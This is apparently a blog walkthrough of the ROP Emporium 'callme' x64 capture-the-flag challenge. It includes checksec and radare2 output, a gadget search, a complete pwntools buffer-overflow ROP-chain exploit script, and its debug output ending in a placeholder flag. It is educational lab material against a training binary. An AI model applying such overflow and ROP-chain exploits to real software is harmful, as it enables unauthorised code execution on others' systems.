Contents

ROP Emporium - Callme (x64)

Summary

callme was a simple challenge from the rop emporium that required the pwner to call multiple functions with arguments back-to-back from a shared object file. I will be skipping some basic steps such as finding the offset at which we take control over RIP and analyzing execution flow in the ROP chain. If you wish to see how to do that, you should check out my previous blog posts on Rop Emporium ret2win and split.

Analyze the Countermeasures

Always analyze binary countermeasures because it will determine our objective for exploiting the binary and what the limitations are. For all my binary exploit development walkthroughs, I will be using pwntools which when installed comes with checksec. This tool analyzes countermeasures in the binary when it was initially compiled:

$ checksec callme
[*] '/home/kali/ctf/rop-emporium/callme/x64/callme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'

The stack is non-executable, so we won’t be able to redirect the program’s execution to memory instructions located on the stack. It is also notable that RUNPATH points to the current working directory. This is because this challenge also came with a libcallme.so shared object file that links to the executable upon runtime:

$ ldd callme
        linux-vdso.so.1 (0x00007fff50dfc000)
        libcallme.so => ./libcallme.so (0x00007f80f459e000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f80f43bf000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f80f47a2000)

Capturiung The Flag

This challenge presented an encrypted flag. The goal is to exploit the binary and decrypt the flag reusing library calls from libcallme.so.

$ ls
callme  encrypted_flag.dat  key1.dat  key2.dat  libcallme.so

To save time reverse engineering the binary, the challenge kindly states that the objective is to call the following code to get the flag:

callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d);
callme_two(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d);
callme_three(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d);

At this point, we should look for these functions in callme:

$ r2 callme
[0x00400760]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400760]> afl
0x00400760    1 42           entry0
0x004006a8    3 23           sym._init
0x004009b4    1 9            sym._fini
0x004007a0    4 42   -> 37   sym.deregister_tm_clones
0x004007d0    4 58   -> 55   sym.register_tm_clones
0x00400810    3 34   -> 29   entry.fini0
0x00400840    1 7            entry.init0
0x00400898    1 90           sym.pwnme
0x00400700    1 6            sym.imp.memset
0x004006d0    1 6            sym.imp.puts
0x004006e0    1 6            sym.imp.printf
0x00400710    1 6            sym.imp.read
0x004008f2    1 74           sym.usefulFunction
0x004006f0    1 6            sym.imp.callme_three
0x00400740    1 6            sym.imp.callme_two
0x00400720    1 6            sym.imp.callme_one
0x00400750    1 6            sym.imp.exit
0x004009b0    1 2            sym.__libc_csu_fini
0x00400940    4 101          sym.__libc_csu_init
0x00400790    1 2            sym._dl_relocate_static_pie
0x00400847    1 81           main
0x00400730    1 6            sym.imp.setvbuf

As seen above, callme_one is located at 0x00400720, callme_two at 0x00400740, and callme_three at 0x004006f0.

Now that we have the PLT addresses of these function calls, we can search for some ROP gadgets so that we can set the RDI, RSI, and RDX registers. We need to do this because on x64 CPU architectures, the first argument to calling a function goes in the RDI register, the second in RSI, and third in RDX.

[0x00400760]> /R pop rdi;
  0x0040093c                 5f  pop rdi
  0x0040093d                 5e  pop rsi
  0x0040093e                 5a  pop rdx
  0x0040093f                 c3  ret

  0x004009a3                 5f  pop rdi
  0x004009a4                 c3  ret

A really nice gadget is located at 0x0040093c. Leveraging this gadget, we should be able to construct a ROP chain that invokes callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d) that looks like the following:

pop rdi; pop rsi; pop rdx; ret; | 0xdeadbeefdeadbeef | 0xcafebabecafebabe | 0xd00df00dd00df00d | callme_one

As the stack unravels from this gadget, 0xdeadbeefdeadbeef will pop into RDI, 0xcafebabecafebabe into RSI, and 0xd00df00dd00df00d into RDX. Finally, code execution will resume at callme_one.

Leveraging this concept, when callme_one returns, we can resume execution into the next part of our ROP chain which will look like this:

... | pop rdi; pop rsi; pop rdx; ret; | 0xdeadbeefdeadbeef | 0xcafebabecafebabe | 0xd00df00dd00df00d | callme_two

The pattern above is similar to the first part of the ROP chain. Basically, we can repeat this pattern as many times as we like.

Our final exploit code will look like the following:

from pwn import *

# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'

# Project constants
PROCESS = './callme'
io = process(PROCESS)

# Gadgets
rop = ROP(io.elf)
pop_rdi_pop_rsi_pop_rdx_ret = p64(rop.search(move=0,regs=['rdi', 'rsi', 'rdx']).address)
callme_one = p64(io.elf.plt['callme_one'])
callme_two = p64(io.elf.plt['callme_two'])
callme_three = p64(io.elf.plt['callme_three'])
arg0 = p64(0xdeadbeefdeadbeef)
arg1 = p64(0xcafebabecafebabe)
arg2 = p64(0xd00df00dd00df00d)

# Invoke callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
rop.raw(pop_rdi_pop_rsi_pop_rdx_ret)
rop.raw(arg0)
rop.raw(arg1)
rop.raw(arg2)
rop.raw(callme_one)

# Invoke callme_two(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
rop.raw(pop_rdi_pop_rsi_pop_rdx_ret)
rop.raw(arg0)
rop.raw(arg1)
rop.raw(arg2)
rop.raw(callme_two)

# Invoke callme_three(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
rop.raw(pop_rdi_pop_rsi_pop_rdx_ret)
rop.raw(arg0)
rop.raw(arg1)
rop.raw(arg2)
rop.raw(callme_three)

# Dump the final ROP chain
info(rop.dump())

# Build the payload
offset = 40
padding = b"A" * offset
payload = b"".join([
    padding,
    rop.chain()
])

# Pwn!
io.clean()
io.sendline(payload)
io.interactive()

One thing to note is that after verifying the existence of all gadgete with radare2, we codified the exploit to leverage pwntools to search for those same gadgets and build the ROP chain.

Below is the output from the final exploit:

$ python3 exploit.py
[+] Starting local process './callme' argv=[b'./callme'] : pid 6377
[DEBUG] PLT 0x4006d0 puts
[DEBUG] PLT 0x4006e0 printf
[DEBUG] PLT 0x4006f0 callme_three
[DEBUG] PLT 0x400700 memset
[DEBUG] PLT 0x400710 read
[DEBUG] PLT 0x400720 callme_one
[DEBUG] PLT 0x400730 setvbuf
[DEBUG] PLT 0x400740 callme_two
[DEBUG] PLT 0x400750 exit
[*] '/home/kali/ctf/rop-emporium/callme/x64/callme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[*] Loaded 17 cached gadgets for './callme'
[DEBUG] PLT 0x4006d0 puts
[DEBUG] PLT 0x4006e0 printf
[DEBUG] PLT 0x4006f0 callme_three
[DEBUG] PLT 0x400700 memset
[DEBUG] PLT 0x400710 read
[DEBUG] PLT 0x400720 callme_one
[DEBUG] PLT 0x400730 setvbuf
[DEBUG] PLT 0x400740 callme_two
[DEBUG] PLT 0x400750 exit
[DEBUG] PLT 0x4006d0 puts
[DEBUG] PLT 0x4006e0 printf
[DEBUG] PLT 0x4006f0 callme_three
[DEBUG] PLT 0x400700 memset
[DEBUG] PLT 0x400710 read
[DEBUG] PLT 0x400720 callme_one
[DEBUG] PLT 0x400730 setvbuf
[DEBUG] PLT 0x400740 callme_two
[DEBUG] PLT 0x400750 exit
[DEBUG] PLT 0x4006d0 puts
[DEBUG] PLT 0x4006e0 printf
[DEBUG] PLT 0x4006f0 callme_three
[DEBUG] PLT 0x400700 memset
[DEBUG] PLT 0x400710 read
[DEBUG] PLT 0x400720 callme_one
[DEBUG] PLT 0x400730 setvbuf
[DEBUG] PLT 0x400740 callme_two
[DEBUG] PLT 0x400750 exit
[*] 0x0000: b'<\t@\x00\x00\x00\x00\x00' b'<\t@\x00\x00\x00\x00\x00'
    0x0008: b'\xef\xbe\xad\xde\xef\xbe\xad\xde' b'\xef\xbe\xad\xde\xef\xbe\xad\xde'
    0x0010: b'\xbe\xba\xfe\xca\xbe\xba\xfe\xca' b'\xbe\xba\xfe\xca\xbe\xba\xfe\xca'
    0x0018: b'\r\xf0\r\xd0\r\xf0\r\xd0' b'\r\xf0\r\xd0\r\xf0\r\xd0'
    0x0020: b' \x07@\x00\x00\x00\x00\x00' b' \x07@\x00\x00\x00\x00\x00'
    0x0028: b'<\t@\x00\x00\x00\x00\x00' b'<\t@\x00\x00\x00\x00\x00'
    0x0030: b'\xef\xbe\xad\xde\xef\xbe\xad\xde' b'\xef\xbe\xad\xde\xef\xbe\xad\xde'
    0x0038: b'\xbe\xba\xfe\xca\xbe\xba\xfe\xca' b'\xbe\xba\xfe\xca\xbe\xba\xfe\xca'
    0x0040: b'\r\xf0\r\xd0\r\xf0\r\xd0' b'\r\xf0\r\xd0\r\xf0\r\xd0'
    0x0048: b'@\x07@\x00\x00\x00\x00\x00' b'@\x07@\x00\x00\x00\x00\x00'
    0x0050: b'<\t@\x00\x00\x00\x00\x00' b'<\t@\x00\x00\x00\x00\x00'
    0x0058: b'\xef\xbe\xad\xde\xef\xbe\xad\xde' b'\xef\xbe\xad\xde\xef\xbe\xad\xde'
    0x0060: b'\xbe\xba\xfe\xca\xbe\xba\xfe\xca' b'\xbe\xba\xfe\xca\xbe\xba\xfe\xca'
    0x0068: b'\r\xf0\r\xd0\r\xf0\r\xd0' b'\r\xf0\r\xd0\r\xf0\r\xd0'
    0x0070: b'\xf0\x06@\x00\x00\x00\x00\x00' b'\xf0\x06@\x00\x00\x00\x00\x00'
[DEBUG] Received 0x44 bytes:
    b'callme by ROP Emporium\n'
    b'x86_64\n'
    b'\n'
    b'Hope you read the instructions...\n'
    b'\n'
    b'> '
[DEBUG] Sent 0xa1 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  3c 09 40 00  00 00 00 00  │AAAA│AAAA│<·@·│····│
    00000030  ef be ad de  ef be ad de  be ba fe ca  be ba fe ca  │····│····│····│····│
    00000040  0d f0 0d d0  0d f0 0d d0  20 07 40 00  00 00 00 00  │····│····│ ·@·│····│
    00000050  3c 09 40 00  00 00 00 00  ef be ad de  ef be ad de  │<·@·│····│····│····│
    00000060  be ba fe ca  be ba fe ca  0d f0 0d d0  0d f0 0d d0  │····│····│····│····│
    00000070  40 07 40 00  00 00 00 00  3c 09 40 00  00 00 00 00  │@·@·│····│<·@·│····│
    00000080  ef be ad de  ef be ad de  be ba fe ca  be ba fe ca  │····│····│····│····│
    00000090  0d f0 0d d0  0d f0 0d d0  f0 06 40 00  00 00 00 00  │····│····│··@·│····│
    000000a0  0a                                                  │·│
    000000a1
[*] Switching to interactive mode
[*] Process './callme' stopped with exit code 0 (pid 6377)
[DEBUG] Received 0x68 bytes:
    b'Thank you!\n'
    b'callme_one() called correctly\n'
    b'callme_two() called correctly\n'
    b'ROPE{a_placeholder_32byte_flag!}\n'
Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

And it looks like we successfully decrypted the flag ROPE{a_placeholder_32byte_flag!}!